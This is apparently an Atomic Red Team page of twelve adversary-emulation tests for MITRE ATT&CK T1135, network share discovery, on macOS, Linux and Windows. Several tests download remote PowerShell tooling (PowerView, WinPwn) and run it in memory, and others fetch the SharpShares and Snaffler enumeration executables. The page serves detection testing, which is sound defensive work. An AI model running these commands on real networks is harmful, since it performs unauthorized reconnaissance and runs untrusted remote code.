T1135 - Network Share Discovery

Description from ATT&CK

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.

Atomic Tests


Atomic Test #1 - Network Share Discovery

Network Share Discovery

Supported Platforms: macOS

auto_generated_guid: f94b5ad9-911c-4eff-9718-fd21899db4f7

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | computer_name | Computer name to find a mount on. | string | computer1|

Attack Commands: Run with 
1

sh
!

1
2
3

df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}



Atomic Test #2 - Network Share Discovery - linux

Network Share Discovery using smbstatus

Supported Platforms: Linux

auto_generated_guid: 875805bc-9e86-4e87-be86-3a5527315cae

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | package_checker | Package checking command. Debian - dpkg -s samba | string | (rpm -q samba &>/dev/null) || (dpkg -s samba | grep -q installed)| | package_installer | Package installer command. Debian - apt install samba | string | (which yum && yum -y install epel-release samba)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y samba)|

Attack Commands: Run with 
1

bash
! Elevation Required (e.g. root or admin)

1

sudo smbstatus --shares

Dependencies: Run with 
1

bash
!

Description: Package with smbstatus (samba) must exist on device
Check Prereq Commands:
1

if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
Get Prereq Commands:
1

sudo #{package_installer}



Atomic Test #3 - Network Share Discovery - FreeBSD

Network Share Discovery using smbstatus

Supported Platforms: Linux

auto_generated_guid: 77e468a6-3e5c-45a1-9948-c4b5603747cb

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | package_checker | Package checking command. pkg info -x samba | string | (pkg info -x samba &>/dev/null)| | package_installer | Package installer command. pkg install -y samba413 | string | (which pkg && pkg install -y samba413)|

Attack Commands: Run with 
1

sh
! Elevation Required (e.g. root or admin)

1

smbstatus --shares

Dependencies: Run with 
1

sh
!

Description: Package with smbstatus (samba) must exist on device
Check Prereq Commands:
1

if #{package_checker} > /dev/null; then exit 0; else exit 1; fi
Get Prereq Commands:
1

#{package_installer}



Atomic Test #4 - Network Share Discovery command prompt

Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host Upon execution avalaible network shares will be displayed in the powershell session

Supported Platforms: Windows

auto_generated_guid: 20f1097d-81c1-405c-8380-32174d493bbb

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | computer_name | Computer name to find a mount on. | string | localhost|

Attack Commands: Run with 
1

command_prompt
!

net view \\#{computer_name}



Atomic Test #5 - Network Share Discovery PowerShell

Network Share Discovery utilizing PowerShell. The computer name variable may need to be modified to point to a different host Upon execution, avalaible network shares will be displayed in the powershell session

Supported Platforms: Windows

auto_generated_guid: 1b0814d1-bb24-402d-9615-1b20c50733fb

Attack Commands: Run with 
1

powershell
!

1

get-smbshare



Atomic Test #6 - View available share drives

View information about all of the resources that are shared on the local computer Upon execution, avalaible share drives will be displayed in the powershell session

Supported Platforms: Windows

auto_generated_guid: ab39a04f-0c93-4540-9ff2-83f862c385ae

Attack Commands: Run with 
1

command_prompt
!

net share



Atomic Test #7 - Share Discovery with PowerView

Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.

Supported Platforms: Windows

auto_generated_guid: b1636f0a-ba82-435c-b699-0d78794d8bfd

Attack Commands: Run with 
1

powershell
!

1
2

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose

Dependencies: Run with 
1

powershell
!

Description: Endpoint must be joined to domain
Check Prereq Commands:
1

if ((Get-WmiObject -Class Win32_ComputerSystem).PartofDomain) {exit 0} else {exit 1}
Get Prereq Commands:
1

"Join system to domain"



Atomic Test #8 - PowerView ShareFinder

PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.

Supported Platforms: Windows

auto_generated_guid: d07e4cc1-98ae-447e-9d31-36cb430d28c4

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | parameters | ShareFinder parameter | string | -CheckShareAccess|

Attack Commands: Run with 
1

powershell
!

1
2

Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
Invoke-ShareFinder #{parameters}

Dependencies: Run with 
1

powershell
!

Description: Invoke-ShareFinder module must exist in %TEMP% directory
Check Prereq Commands:
1

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1") {exit 0} else {exit 1}
Get Prereq Commands:
1
2

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://raw.githubusercontent.com/darkoperator/Veil-PowerView/8784e33f17ee7543ba2f45e27dc5f08ea3a1b856/PowerView/powerview.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"



Atomic Test #9 - WinPwn - shareenumeration

Network share enumeration using the shareenumeration function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 987901d1-5b87-4558-a6d9-cffcabc638b8

Attack Commands: Run with 
1

powershell
!

1
2
3

$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
shareenumeration -noninteractive -consoleoutput



Atomic Test #10 - Network Share Discovery via dir command

Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip Upon execution avalaible network shares will be displayed in the commandline session

Supported Platforms: Windows

auto_generated_guid: 13daa2cf-195a-43df-a8bd-7dd5ffb607b5

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | computer_ip | Computer IP to find a mount on. | string | 127.0.0.1|

Attack Commands: Run with 
1

command_prompt
!

dir \\#{computer_ip}\c$
dir \\#{computer_ip}\admin$
dir \\#{computer_ip}\IPC$



Atomic Test #11 - Enumerate All Network Shares with SharpShares

SharpShares is a command line tool that can be integrated with Cobalt Strike’s execute-assembly module, allowing for the enumeration of network shares. This technique has been utilized by various ransomware groups, including BianLian. Reference

Supported Platforms: Windows

auto_generated_guid: d1fa2a69-b0a2-4e8a-9112-529b00c19a41

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | output_path | File to output enumeration results to | String | $env:temp\T1135SharpSharesOutput.txt| | sharp_path | Path to the SharpShares executable | String | PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe|

Attack Commands: Run with 
1

powershell
!

1

cmd /c '#{sharp_path}' /ldap:all | out-file -filepath "#{output_path}"

Cleanup Commands:

1

remove-item "#{output_path}" -force -erroraction silentlycontinue

Dependencies: Run with 
1

powershell
!

Description: The SharpShares executable must exist on disk
Check Prereq Commands:
1

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe") {exit 0} else {exit 1}
Get Prereq Commands:
1
2

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/mitchmoser/SharpShares/releases/download/v2.4/SharpShares.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SharpShares.exe"



Atomic Test #12 - Enumerate All Network Shares with Snaffler

Snaffler is an open-source tool that has been used by various threat groups, including Scattered Spider/Muddled Libra, to enumerate accessible shares and credential-containing files within a domain. Reference

Supported Platforms: Windows

auto_generated_guid: b19d74b7-5e72-450a-8499-82e49e379d1a

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | output_path | File to output enumeration results to | String | $env:temp\T1135SnafflerOutput.txt| | snaffler_path | Path to the Snaffler executable | String | PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe|

Attack Commands: Run with 
1

powershell
!

1

invoke-expression 'cmd /c start powershell -command { cmd /c "#{snaffler_path}" -a -o "#{output_path}" }; start-sleep 90; stop-process -name "snaffler"'

Cleanup Commands:

1

remove-item "#{output_path}" -force -erroraction silentlycontinue

Dependencies: Run with 
1

powershell
!

Description: The Snaffler executable must exist on disk
Check Prereq Commands:
1

if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe") {exit 0} else {exit 1}
Get Prereq Commands:
1
2

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/SnaffCon/Snaffler/releases/download/1.0.150/Snaffler.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Snaffler.exe"